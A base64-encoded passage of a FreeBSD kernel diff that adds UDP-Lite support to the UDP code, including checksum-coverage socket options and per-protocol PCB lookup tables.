OwogCWlmIChpcCAhPSBOVUxMKSB7CiAJCXVoID0gKHN0cnVjdCB1ZHBoZHIgKikoKGNhZGRyX3Qp aXAgKyAoaXAtPmlwX2hsIDw8IDIpKTsKLQkJaW5wID0gaW5fcGNibG9va3VwKCZWX3VkYmluZm8s IGZhZGRyLCB1aC0+dWhfZHBvcnQsCisJCWlucCA9IGluX3BjYmxvb2t1cChwY2JpbmZvLCBmYWRk ciwgdWgtPnVoX2Rwb3J0LAogCQkgICAgaXAtPmlwX3NyYywgdWgtPnVoX3Nwb3J0LCBJTlBMT09L VVBfUkxPQ0tQQ0IsIE5VTEwpOwogCQlpZiAoaW5wICE9IE5VTEwpIHsKIAkJCUlOUF9STE9DS19B U1NFUlQoaW5wKTsKQEAgLTY4NSw5ICs3NjcsMjMgQEAgdWRwX25vdGlmeShzdHJ1Y3QgaW5wY2Ig KmlucCwgaW50IGVycm5vKQogCQkJSU5QX1JVTkxPQ0soaW5wKTsKIAkJfQogCX0gZWxzZQotCQlp bl9wY2Jub3RpZnlhbGwoJlZfdWRiaW5mbywgZmFkZHIsIGluZXRjdGxlcnJtYXBbY21kXSwKKwkJ aW5fcGNibm90aWZ5YWxsKHBjYmluZm8sIGZhZGRyLCBpbmV0Y3RsZXJybWFwW2NtZF0sCiAJCSAg ICB1ZHBfbm90aWZ5KTsKKwlyZXR1cm47CiB9CisKKyNpZmRlZiBJTkVUCit2b2lkCit1ZHBfY3Rs aW5wdXQoaW50IGNtZCwgc3RydWN0IHNvY2thZGRyICpzYSwgdm9pZCAqdmlwKQoreworCXJldHVy biAodWRwX2NvbW1vbl9jdGxpbnB1dChjbWQsIHNhLCB2aXAsICZWX3VkYmluZm8pKTsKK30KKwor dm9pZAordWRwbGl0ZV9jdGxpbnB1dChpbnQgY21kLCBzdHJ1Y3Qgc29ja2FkZHIgKnNhLCB2b2lk ICp2aXApCit7CisJcmV0dXJuICh1ZHBfY29tbW9uX2N0bGlucHV0KGNtZCwgc2EsIHZpcCwgJlZf dWxpdGVjYmluZm8pKTsKK30KICNlbmRpZiAvKiBJTkVUICovCiAKIHN0YXRpYyBpbnQKQEAgLTg0 MywxNiArOTM5LDE2IEBAIFNZU0NUTF9QUk9DKF9uZXRfaW5ldF91ZHAsIE9JRF9BVVRPLCBnZXRj cmVkLAogaW50CiB1ZHBfY3Rsb3V0cHV0KHN0cnVjdCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29ja29w dCAqc29wdCkKIHsKLQlpbnQgZXJyb3IgPSAwLCBvcHR2YWw7CisJaW50IGlzdWRwbGl0ZSwgZXJy b3IsIG9wdHZhbDsKIAlzdHJ1Y3QgaW5wY2IgKmlucDsKLSNpZmRlZiBJUFNFQ19OQVRfVAogCXN0 cnVjdCB1ZHBjYiAqdXA7Ci0jZW5kaWYKIAorCWVycm9yID0gMDsKKwlpc3VkcGxpdGUgPSAoc28t PnNvX3Byb3RvLT5wcl9wcm90b2NvbCA9PSBJUFBST1RPX1VEUExJVEUpID8gMSA6IDA7CiAJaW5w ID0gc290b2lucGNiKHNvKTsKIAlLQVNTRVJUKGlucCAhPSBOVUxMLCAoIiVzOiBpbnAgPT0gTlVM TCIsIF9fZnVuY19fKSk7CiAJSU5QX1dMT0NLKGlucCk7Ci0JaWYgKHNvcHQtPnNvcHRfbGV2ZWwg IT0gSVBQUk9UT19VRFApIHsKKwlpZiAoc29wdC0+c29wdF9sZXZlbCAhPSBzby0+c29fcHJvdG8t PnByX3Byb3RvY29sKSB7CiAjaWZkZWYgSU5FVDYKIAkJaWYgKElOUF9DSEVDS19TT0NLQUYoc28s IEFGX0lORVQ2KSkgewogCQkJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTkxMCw3ICsxMDA2LDMzIEBA IHVkcF9jdGxvdXRwdXQoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBzb2Nrb3B0ICpzCiAJCQl9 CiAJCQlJTlBfV1VOTE9DSyhpbnApOwogCQkJYnJlYWs7CisJCWNhc2UgVURQTElURV9TRU5EX0NT Q09WOgorCQljYXNlIFVEUExJVEVfUkVDVl9DU0NPVjoKKwkJCWlmICghaXN1ZHBsaXRlKQorCQkJ CWdvdG8gYmFkX3NldG9wdG5hbWU7CisJCQlJTlBfV1VOTE9DSyhpbnApOworCQkJZXJyb3IgPSBz b29wdGNvcHlpbihzb3B0LCAmb3B0dmFsLCBzaXplb2Yob3B0dmFsKSwKKwkJCSAgICBzaXplb2Yo b3B0dmFsKSk7CisJCQlpZiAoZXJyb3IpCisJCQkJYnJlYWs7CisJCQlpbnAgPSBzb3RvaW5wY2Io c28pOworCQkJS0FTU0VSVChpbnAgIT0gTlVMTCwgKCIlczogaW5wID09IE5VTEwiLCBfX2Z1bmNf XykpOworCQkJSU5QX1dMT0NLKGlucCk7CisJCQl1cCA9IGludG91ZHBjYihpbnApOworCQkJS0FT U0VSVCh1cCAhPSBOVUxMLCAoIiVzOiB1cCA9PSBOVUxMIiwgX19mdW5jX18pKTsKKwkJCWlmIChv cHR2YWwgIT0gMCAmJiBvcHR2YWwgPCA4KSB7CisJCQkJZXJyb3IgPSBFSU5WQUw7CisJCQkJSU5Q X1dVTkxPQ0soaW5wKTsKKwkJCQlicmVhazsKKwkJCX0KKwkJCWlmIChzb3B0LT5zb3B0X25hbWUg PT0gVURQTElURV9TRU5EX0NTQ09WKQorCQkJCXVwLT51X3R4Y3NsZW4gPSBvcHR2YWw7CisJCQll bHNlCisJCQkJdXAtPnVfcnhjc2xlbiA9IG9wdHZhbDsKKwkJCUlOUF9XVU5MT0NLKGlucCk7CisJ CQlicmVhazsKIAkJZGVmYXVsdDoKK2JhZF9zZXRvcHRuYW1lOgogCQkJSU5QX1dVTkxPQ0soaW5w KTsKIAkJCWVycm9yID0gRU5PUFJPVE9PUFQ7CiAJCQlicmVhazsKQEAgLTkyNyw3ICsxMDQ5LDIx IEBAIHVkcF9jdGxvdXRwdXQoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBzb2Nrb3B0ICpzCiAJ CQllcnJvciA9IHNvb3B0Y29weW91dChzb3B0LCAmb3B0dmFsLCBzaXplb2Ygb3B0dmFsKTsKIAkJ CWJyZWFrOwogI2VuZGlmCisJCWNhc2UgVURQTElURV9TRU5EX0NTQ09WOgorCQljYXNlIFVEUExJ VEVfUkVDVl9DU0NPVjoKKwkJCWlmICghaXN1ZHBsaXRlKQorCQkJCWdvdG8gYmFkX2dldG9wdG5h bWU7CisJCQl1cCA9IGludG91ZHBjYihpbnApOworCQkJS0FTU0VSVCh1cCAhPSBOVUxMLCAoIiVz OiB1cCA9PSBOVUxMIiwgX19mdW5jX18pKTsKKwkJCWlmIChzb3B0LT5zb3B0X25hbWUgPT0gVURQ TElURV9TRU5EX0NTQ09WKQorCQkJCW9wdHZhbCA9IHVwLT51X3R4Y3NsZW47CisJCQllbHNlCisJ CQkJb3B0dmFsID0gdXAtPnVfcnhjc2xlbjsKKwkJCUlOUF9XVU5MT0NLKGlucCk7CisJCQllcnJv ciA9IHNvb3B0Y29weW91dChzb3B0LCAmb3B0dmFsLCBzaXplb2Yob3B0dmFsKSk7CisJCQlicmVh azsKIAkJZGVmYXVsdDoKK2JhZF9nZXRvcHRuYW1lOgogCQkJSU5QX1dVTkxPQ0soaW5wKTsKIAkJ CWVycm9yID0gRU5PUFJPVE9PUFQ7CiAJCQlicmVhazsKQEAgLTk0OSwxMiArMTA4NSwxNiBAQCB1 ZHBfb3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQogCWludCBs ZW4gPSBtLT5tX3BrdGhkci5sZW47CiAJc3RydWN0IGluX2FkZHIgZmFkZHIsIGxhZGRyOwogCXN0 cnVjdCBjbXNnaGRyICpjbTsKKwlzdHJ1Y3QgaW5wY2JpbmZvICpwY2JpbmZvOwogCXN0cnVjdCBz b2NrYWRkcl9pbiAqc2luLCBzcmM7CisJaW50IGNzY292X3BhcnRpYWwgPSAwOwogCWludCBlcnJv ciA9IDA7CiAJaW50IGlwZmxhZ3M7CiAJdV9zaG9ydCBmcG9ydCwgbHBvcnQ7CiAJaW50IHVubG9j a191ZGJpbmZvOwogCXVfY2hhciB0b3M7CisJdWludDhfdCBwcjsKKwl1aW50MTZfdCBjc2NvdiA9 IDA7CiAKIAkvKgogCSAqIHVkcF9vdXRwdXQoKSBtYXkgbmVlZCB0byB0ZW1wb3JhcmlseSBiaW5k IG9yIGNvbm5lY3QgdGhlIGN1cnJlbnQKQEAgLTEwNDksMTIgKzExODksMTMgQEAgdWRwX291dHB1 dChzdHJ1Y3QgaW5wY2IgKmlucCwgc3RydWN0IG1idWYgKm0sIHN0cnUKIAkgKgogCSAqIFhYWFJX OiBDaGVjayB0aGF0IGhhc2ggbG9ja2luZyB1cGRhdGUgaGVyZSBpcyBjb3JyZWN0LgogCSAqLwor CXBjYmluZm8gPSBpbnAtPmlucF9wY2JpbmZvOwogCXNpbiA9IChzdHJ1Y3Qgc29ja2FkZHJfaW4g KilhZGRyOwogCWlmIChzaW4gIT0gTlVMTCAmJgogCSAgICAoaW5wLT5pbnBfbGFkZHIuc19hZGRy ID09IElOQUREUl9BTlkgJiYgaW5wLT5pbnBfbHBvcnQgPT0gMCkpIHsKIAkJSU5QX1JVTkxPQ0so aW5wKTsKIAkJSU5QX1dMT0NLKGlucCk7Ci0JCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOwor CQlJTlBfSEFTSF9XTE9DSyhwY2JpbmZvKTsKIAkJdW5sb2NrX3VkYmluZm8gPSBVSF9XTE9DS0VE OwogCX0gZWxzZSBpZiAoKHNpbiAhPSBOVUxMICYmICgKIAkgICAgKHNpbi0+c2luX2FkZHIuc19h ZGRyID09IElOQUREUl9BTlkpIHx8CkBAIC0xMDYyLDcgKzEyMDMsNyBAQCB1ZHBfb3V0cHV0KHN0 cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQogCSAgICAoaW5wLT5pbnBfbGFk ZHIuc19hZGRyID09IElOQUREUl9BTlkpIHx8CiAJICAgIChpbnAtPmlucF9scG9ydCA9PSAwKSkp IHx8CiAJICAgIChzcmMuc2luX2ZhbWlseSA9PSBBRl9JTkVUKSkgewotCQlJTlBfSEFTSF9STE9D SygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfUkxPQ0socGNiaW5mbyk7CiAJCXVubG9ja191ZGJp bmZvID0gVUhfUkxPQ0tFRDsKIAl9IGVsc2UKIAkJdW5sb2NrX3VkYmluZm8gPSBVSF9VTkxPQ0tF RDsKQEAgLTEwNzUsNyArMTIxNiw3IEBAIHVkcF9vdXRwdXQoc3RydWN0IGlucGNiICppbnAsIHN0 cnVjdCBtYnVmICptLCBzdHJ1CiAJbGFkZHIgPSBpbnAtPmlucF9sYWRkcjsKIAlscG9ydCA9IGlu cC0+aW5wX2xwb3J0OwogCWlmIChzcmMuc2luX2ZhbWlseSA9PSBBRl9JTkVUKSB7Ci0JCUlOUF9I QVNIX0xPQ0tfQVNTRVJUKCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9MT0NLX0FTU0VSVChwY2Jp bmZvKTsKIAkJaWYgKChscG9ydCA9PSAwKSB8fAogCQkgICAgKGxhZGRyLnNfYWRkciA9PSBJTkFE RFJfQU5ZICYmCiAJCSAgICAgc3JjLnNpbl9hZGRyLnNfYWRkciA9PSBJTkFERFJfQU5ZKSkgewpA QCAtMTEyNiw3ICsxMjY3LDcgQEAgdWRwX291dHB1dChzdHJ1Y3QgaW5wY2IgKmlucCwgc3RydWN0 IG1idWYgKm0sIHN0cnUKIAkJICAgIGlucC0+aW5wX2xwb3J0ID09IDAgfHwKIAkJICAgIHNpbi0+ c2luX2FkZHIuc19hZGRyID09IElOQUREUl9BTlkgfHwKIAkJICAgIHNpbi0+c2luX2FkZHIuc19h ZGRyID09IElOQUREUl9CUk9BRENBU1QpIHsKLQkJCUlOUF9IQVNIX0xPQ0tfQVNTRVJUKCZWX3Vk YmluZm8pOworCQkJSU5QX0hBU0hfTE9DS19BU1NFUlQocGNiaW5mbyk7CiAJCQllcnJvciA9IGlu X3BjYmNvbm5lY3Rfc2V0dXAoaW5wLCBhZGRyLCAmbGFkZHIuc19hZGRyLAogCQkJICAgICZscG9y dCwgJmZhZGRyLnNfYWRkciwgJmZwb3J0LCBOVUxMLAogCQkJICAgIHRkLT50ZF91Y3JlZCk7CkBA IC0xMTQxLDcgKzEyODIsNyBAQCB1ZHBfb3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3Qg bWJ1ZiAqbSwgc3RydQogCQkJaWYgKGlucC0+aW5wX2xhZGRyLnNfYWRkciA9PSBJTkFERFJfQU5Z ICYmCiAJCQkgICAgaW5wLT5pbnBfbHBvcnQgPT0gMCkgewogCQkJCUlOUF9XTE9DS19BU1NFUlQo aW5wKTsKLQkJCQlJTlBfSEFTSF9XTE9DS19BU1NFUlQoJlZfdWRiaW5mbyk7CisJCQkJSU5QX0hB U0hfV0xPQ0tfQVNTRVJUKHBjYmluZm8pOwogCQkJCS8qCiAJCQkJICogUmVtZW1iZXIgYWRkciBp ZiBqYWlsZWQsIHRvIHByZXZlbnQKIAkJCQkgKiByZWJpbmRpbmcuCkBAIC0xMTg4LDE1ICsxMzI5 LDM1IEBAIHVkcF9vdXRwdXQoc3RydWN0IGlucGNiICppbnAsIHN0cnVjdCBtYnVmICptLCBzdHJ1 CiAJICogRmlsbCBpbiBtYnVmIHdpdGggZXh0ZW5kZWQgVURQIGhlYWRlciBhbmQgYWRkcmVzc2Vz IGFuZCBsZW5ndGggcHV0CiAJICogaW50byBuZXR3b3JrIGZvcm1hdC4KIAkgKi8KKwlwciA9IElQ UFJPVE9fVURQOwogCXVpID0gbXRvZChtLCBzdHJ1Y3QgdWRwaXBoZHIgKik7CiAJYnplcm8odWkt PnVpX3gxLCBzaXplb2YodWktPnVpX3gxKSk7CS8qIFhYWCBzdGlsbCBuZWVkZWQ/ICovCi0JdWkt PnVpX3ByID0gSVBQUk9UT19VRFA7CiAJdWktPnVpX3NyYyA9IGxhZGRyOwogCXVpLT51aV9kc3Qg PSBmYWRkcjsKIAl1aS0+dWlfc3BvcnQgPSBscG9ydDsKIAl1aS0+dWlfZHBvcnQgPSBmcG9ydDsK IAl1aS0+dWlfdWxlbiA9IGh0b25zKCh1X3Nob3J0KWxlbiArIHNpemVvZihzdHJ1Y3QgdWRwaGRy KSk7CiAKKwlpZiAoaW5wLT5pbnBfc29ja2V0LT5zb19wcm90by0+cHJfcHJvdG9jb2wgPT0gSVBQ Uk9UT19VRFBMSVRFKSB7CisJCXN0cnVjdCB1ZHBjYiAqdXA7CisJCXVpbnQxNl90IHBsZW47CisK KwkJcHIgPSBJUFBST1RPX1VEUExJVEU7CisJCXVwID0gaW50b3VkcGNiKGlucCk7CisJCWNzY292 ID0gdXAtPnVfdHhjc2xlbjsKKwkJcGxlbiA9ICh1X3Nob3J0KWxlbiArIHNpemVvZihzdHJ1Y3Qg dWRwaGRyKTsKKwkJaWYgKGNzY292ID49IHBsZW4pCisJCQljc2NvdiA9IDA7CisJCXVpLT51aV9s ZW4gPSBodG9ucyhwbGVuKTsKKwkJdWktPnVpX3VsZW4gPSBodG9ucyhjc2Nvdik7CisKKwkJLyog Rm9yIFVEUExpdGUsIGNoZWNrc3VtIGNvdmVyYWdlIGxlbmd0aCBvZiB6ZXJvIG1lYW5zCisJCSAq IHRoZSBlbnRpcmUgVURQTGl0ZSBwYWNrZXQgaXMgY292ZXJlZCBieSB0aGUgY2hlY2tzdW0uCisJ CSAqLworCQljc2Nvdl9wYXJ0aWFsID0gKGNzY292ID09IDApID8gMCA6IDE7CisJfQorCXVpLT51 aV9wciA9IHByOworCiAJLyoKIAkgKiBTZXQgdGhlIERvbid0IEZyYWdtZW50IGJpdCBpbiB0aGUg SVAgaGVhZGVyLgogCSAqLwpAQCAtMTIyMiwyNCArMTM4MywyOSBAQCB1ZHBfb3V0cHV0KHN0cnVj dCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQogCS8qCiAJICogU2V0IHVwIGNoZWNr c3VtIGFuZCBvdXRwdXQgZGF0YWdyYW0uCiAJICovCi0JaWYgKFZfdWRwX2Nrc3VtKSB7CisJdWkt PnVpX3N1bSA9IDA7CisJaWYgKGNzY292X3BhcnRpYWwpIHsKIAkJaWYgKGlucC0+aW5wX2ZsYWdz ICYgSU5QX09ORVNCQ0FTVCkKIAkJCWZhZGRyLnNfYWRkciA9IElOQUREUl9CUk9BRENBU1Q7CisJ CWlmICgodWktPnVpX3N1bSA9IGluX2Nrc3VtKG0sIHNpemVvZihzdHJ1Y3QgaXApICsgY3Njb3Yp KSA9PSAwKQorCQkJdWktPnVpX3N1bSA9IDB4ZmZmZjsKKwl9IGVsc2UgaWYgKFZfdWRwX2Nrc3Vt IHx8ICFjc2Nvdl9wYXJ0aWFsKSB7CisJCWlmIChpbnAtPmlucF9mbGFncyAmIElOUF9PTkVTQkNB U1QpCisJCQlmYWRkci5zX2FkZHIgPSBJTkFERFJfQlJPQURDQVNUOwogCQl1aS0+dWlfc3VtID0g aW5fcHNldWRvKHVpLT51aV9zcmMuc19hZGRyLCBmYWRkci5zX2FkZHIsCi0JCSAgICBodG9ucygo dV9zaG9ydClsZW4gKyBzaXplb2Yoc3RydWN0IHVkcGhkcikgKyBJUFBST1RPX1VEUCkpOworCQkg ICAgaHRvbnMoKHVfc2hvcnQpbGVuICsgc2l6ZW9mKHN0cnVjdCB1ZHBoZHIpICsgcHIpKTsKIAkJ bS0+bV9wa3RoZHIuY3N1bV9mbGFncyA9IENTVU1fVURQOwogCQltLT5tX3BrdGhkci5jc3VtX2Rh dGEgPSBvZmZzZXRvZihzdHJ1Y3QgdWRwaGRyLCB1aF9zdW0pOwotCX0gZWxzZQotCQl1aS0+dWlf c3VtID0gMDsKKwl9CiAJKChzdHJ1Y3QgaXAgKil1aSktPmlwX2xlbiA9IGh0b25zKHNpemVvZihz dHJ1Y3QgdWRwaXBoZHIpICsgbGVuKTsKIAkoKHN0cnVjdCBpcCAqKXVpKS0+aXBfdHRsID0gaW5w LT5pbnBfaXBfdHRsOwkvKiBYWFggKi8KIAkoKHN0cnVjdCBpcCAqKXVpKS0+aXBfdG9zID0gdG9z OwkJLyogWFhYICovCiAJVURQU1RBVF9JTkModWRwc19vcGFja2V0cyk7CiAKIAlpZiAodW5sb2Nr X3VkYmluZm8gPT0gVUhfV0xPQ0tFRCkKLQkJSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsK KwkJSU5QX0hBU0hfV1VOTE9DSyhwY2JpbmZvKTsKIAllbHNlIGlmICh1bmxvY2tfdWRiaW5mbyA9 PSBVSF9STE9DS0VEKQotCQlJTlBfSEFTSF9SVU5MT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFT SF9SVU5MT0NLKHBjYmluZm8pOwogCWVycm9yID0gaXBfb3V0cHV0KG0sIGlucC0+aW5wX29wdGlv bnMsIE5VTEwsIGlwZmxhZ3MsCiAJICAgIGlucC0+aW5wX21vcHRpb25zLCBpbnApOwogCWlmICh1 bmxvY2tfdWRiaW5mbyA9PSBVSF9XTE9DS0VEKQpAQCAtMTI1MCwxMCArMTQxNiwxMCBAQCB1ZHBf b3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQogCiByZWxlYXNl OgogCWlmICh1bmxvY2tfdWRiaW5mbyA9PSBVSF9XTE9DS0VEKSB7Ci0JCUlOUF9IQVNIX1dVTkxP Q0soJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1dVTkxPQ0socGNiaW5mbyk7CiAJCUlOUF9XVU5M T0NLKGlucCk7CiAJfSBlbHNlIGlmICh1bmxvY2tfdWRiaW5mbyA9PSBVSF9STE9DS0VEKSB7Ci0J CUlOUF9IQVNIX1JVTkxPQ0soJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1JVTkxPQ0socGNiaW5m byk7CiAJCUlOUF9SVU5MT0NLKGlucCk7CiAJfSBlbHNlCiAJCUlOUF9SVU5MT0NLKGlucCk7CkBA IC0xNDA1LDEwICsxNTcxLDEwIEBAIHVkcF9hYm9ydChzdHJ1Y3Qgc29ja2V0ICpzbykKIAlLQVNT RVJUKGlucCAhPSBOVUxMLCAoInVkcF9hYm9ydDogaW5wID09IE5VTEwiKSk7CiAJSU5QX1dMT0NL KGlucCk7CiAJaWYgKGlucC0+aW5wX2ZhZGRyLnNfYWRkciAhPSBJTkFERFJfQU5ZKSB7Ci0JCUlO UF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9XTE9DSyhpbnAtPmlucF9wY2Jp bmZvKTsKIAkJaW5fcGNiZGlzY29ubmVjdChpbnApOwogCQlpbnAtPmlucF9sYWRkci5zX2FkZHIg PSBJTkFERFJfQU5ZOwotCQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFT SF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlzb2lzZGlzY29ubmVjdGVkKHNvKTsKIAl9 CiAJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTE0MTgsMTcgKzE1ODQsMjMgQEAgc3RhdGljIGludAog dWRwX2F0dGFjaChzdHJ1Y3Qgc29ja2V0ICpzbywgaW50IHByb3RvLCBzdHJ1Y3QgdGhyZWFkICp0 ZCkKIHsKIAlzdHJ1Y3QgaW5wY2IgKmlucDsKKyAgICAgICAgc3RydWN0IGlucGNiaW5mbyAqcGNi aW5mbzsKIAlpbnQgZXJyb3I7CiAKKwlpZiAoc28tPnNvX3Byb3RvLT5wcl9wcm90b2NvbCA9PSBJ UFBST1RPX1VEUCkKKwkJcGNiaW5mbyA9ICZWX3VkYmluZm87CisJZWxzZQorCQlwY2JpbmZvID0g JlZfdWxpdGVjYmluZm87CisKIAlpbnAgPSBzb3RvaW5wY2Ioc28pOwogCUtBU1NFUlQoaW5wID09 IE5VTEwsICgidWRwX2F0dGFjaDogaW5wICE9IE5VTEwiKSk7CiAJZXJyb3IgPSBzb3Jlc2VydmUo c28sIHVkcF9zZW5kc3BhY2UsIHVkcF9yZWN2c3BhY2UpOwogCWlmIChlcnJvcikKIAkJcmV0dXJu IChlcnJvcik7Ci0JSU5QX0lORk9fV0xPQ0soJlZfdWRiaW5mbyk7Ci0JZXJyb3IgPSBpbl9wY2Jh bGxvYyhzbywgJlZfdWRiaW5mbyk7CisJSU5QX0lORk9fV0xPQ0socGNiaW5mbyk7CisJZXJyb3Ig PSBpbl9wY2JhbGxvYyhzbywgcGNiaW5mbyk7CiAJaWYgKGVycm9yKSB7Ci0JCUlOUF9JTkZPX1dV TkxPQ0soJlZfdWRiaW5mbyk7CisJCUlOUF9JTkZPX1dVTkxPQ0socGNiaW5mbyk7CiAJCXJldHVy biAoZXJyb3IpOwogCX0KIApAQCAtMTQ0MCwxMyArMTYxMiwxNCBAQCB1ZHBfYXR0YWNoKHN0cnVj dCBzb2NrZXQgKnNvLCBpbnQgcHJvdG8sIHN0cnVjdCB0aAogCWlmIChlcnJvcikgewogCQlpbl9w Y2JkZXRhY2goaW5wKTsKIAkJaW5fcGNiZnJlZShpbnApOwotCQlJTlBfSU5GT19XVU5MT0NLKCZW X3VkYmluZm8pOworCQlJTlBfSU5GT19XVU5MT0NLKHBjYmluZm8pOwogCQlyZXR1cm4gKGVycm9y KTsKIAl9CiAKIAlJTlBfV1VOTE9DSyhpbnApOwotCUlOUF9JTkZPX1dVTkxPQ0soJlZfdWRiaW5m byk7CisJSU5QX0lORk9fV1VOTE9DSyhwY2JpbmZvKTsKIAlyZXR1cm4gKDApOworCiB9CiAjZW5k aWYgLyogSU5FVCAqLwogCkBAIC0xNDgxLDkgKzE2NTQsOSBAQCB1ZHBfYmluZChzdHJ1Y3Qgc29j a2V0ICpzbywgc3RydWN0IHNvY2thZGRyICpuYW0sCiAJaW5wID0gc290b2lucGNiKHNvKTsKIAlL QVNTRVJUKGlucCAhPSBOVUxMLCAoInVkcF9iaW5kOiBpbnAgPT0gTlVMTCIpKTsKIAlJTlBfV0xP Q0soaW5wKTsKLQlJTlBfSEFTSF9XTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSEFTSF9XTE9DSyhp bnAtPmlucF9wY2JpbmZvKTsKIAllcnJvciA9IGluX3BjYmJpbmQoaW5wLCBuYW0sIHRkLT50ZF91 Y3JlZCk7Ci0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSEFTSF9XVU5MT0NL KGlucC0+aW5wX3BjYmluZm8pOwogCUlOUF9XVU5MT0NLKGlucCk7CiAJcmV0dXJuIChlcnJvcik7 CiB9CkBAIC0xNDk3LDEwICsxNjcwLDEwIEBAIHVkcF9jbG9zZShzdHJ1Y3Qgc29ja2V0ICpzbykK IAlLQVNTRVJUKGlucCAhPSBOVUxMLCAoInVkcF9jbG9zZTogaW5wID09IE5VTEwiKSk7CiAJSU5Q X1dMT0NLKGlucCk7CiAJaWYgKGlucC0+aW5wX2ZhZGRyLnNfYWRkciAhPSBJTkFERFJfQU5ZKSB7 Ci0JCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9XTE9DSyhpbnAtPmlu cF9wY2JpbmZvKTsKIAkJaW5fcGNiZGlzY29ubmVjdChpbnApOwogCQlpbnAtPmlucF9sYWRkci5z X2FkZHIgPSBJTkFERFJfQU5ZOwotCQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOworCQlJ TlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlzb2lzZGlzY29ubmVjdGVkKHNv KTsKIAl9CiAJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTE1MjYsOSArMTY5OSw5IEBAIHVkcF9jb25u ZWN0KHN0cnVjdCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29ja2FkZHIgKm5hCiAJCUlOUF9XVU5MT0NL KGlucCk7CiAJCXJldHVybiAoZXJyb3IpOwogCX0KLQlJTlBfSEFTSF9XTE9DSygmVl91ZGJpbmZv KTsKKwlJTlBfSEFTSF9XTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAllcnJvciA9IGluX3BjYmNv bm5lY3QoaW5wLCBuYW0sIHRkLT50ZF91Y3JlZCk7Ci0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJp bmZvKTsKKwlJTlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWlmIChlcnJvciA9 PSAwKQogCQlzb2lzY29ubmVjdGVkKHNvKTsKIAlJTlBfV1VOTE9DSyhpbnApOwpAQCAtMTU0MCwy MCArMTcxMywyMyBAQCB1ZHBfZGV0YWNoKHN0cnVjdCBzb2NrZXQgKnNvKQogewogCXN0cnVjdCBp bnBjYiAqaW5wOwogCXN0cnVjdCB1ZHBjYiAqdXA7CisJaW50IGlzdWRwOwogCisJaXN1ZHAgPSAo c28tPnNvX3Byb3RvLT5wcl9wcm90b2NvbCA9PSBJUFBST1RPX1VEUCkgPyAxIDogMDsKKwogCWlu cCA9IHNvdG9pbnBjYihzbyk7CiAJS0FTU0VSVChpbnAgIT0gTlVMTCwgKCJ1ZHBfZGV0YWNoOiBp bnAgPT0gTlVMTCIpKTsKIAlLQVNTRVJUKGlucC0+aW5wX2ZhZGRyLnNfYWRkciA9PSBJTkFERFJf QU5ZLAogCSAgICAoInVkcF9kZXRhY2g6IG5vdCBkaXNjb25uZWN0ZWQiKSk7Ci0JSU5QX0lORk9f V0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0lORk9fV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJ SU5QX1dMT0NLKGlucCk7CiAJdXAgPSBpbnRvdWRwY2IoaW5wKTsKIAlLQVNTRVJUKHVwICE9IE5V TEwsICgiJXM6IHVwID09IE5VTEwiLCBfX2Z1bmNfXykpOwogCWlucC0+aW5wX3BwY2IgPSBOVUxM OwogCWluX3BjYmRldGFjaChpbnApOwogCWluX3BjYmZyZWUoaW5wKTsKLQlJTlBfSU5GT19XVU5M T0NLKCZWX3VkYmluZm8pOwotCXVkcF9kaXNjYXJkY2IodXApOworCUlOUF9JTkZPX1dVTkxPQ0so aW5wLT5pbnBfcGNiaW5mbyk7CisJdWRwX2Rpc2NhcmRjYih1cCwgaXN1ZHApOwogfQogCiBzdGF0 aWMgaW50CkBAIC0xNTY4LDEwICsxNzQ0LDEwIEBAIHVkcF9kaXNjb25uZWN0KHN0cnVjdCBzb2Nr ZXQgKnNvKQogCQlJTlBfV1VOTE9DSyhpbnApOwogCQlyZXR1cm4gKEVOT1RDT05OKTsKIAl9Ci0J SU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNi aW5mbyk7CiAJaW5fcGNiZGlzY29ubmVjdChpbnApOwogCWlucC0+aW5wX2xhZGRyLnNfYWRkciA9 IElOQUREUl9BTlk7Ci0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSEFTSF9X VU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCVNPQ0tfTE9DSyhzbyk7CiAJc28tPnNvX3N0YXRl ICY9IH5TU19JU0NPTk5FQ1RFRDsJCS8qIFhYWCAqLwogCVNPQ0tfVU5MT0NLKHNvKTsKQEAgLTE2 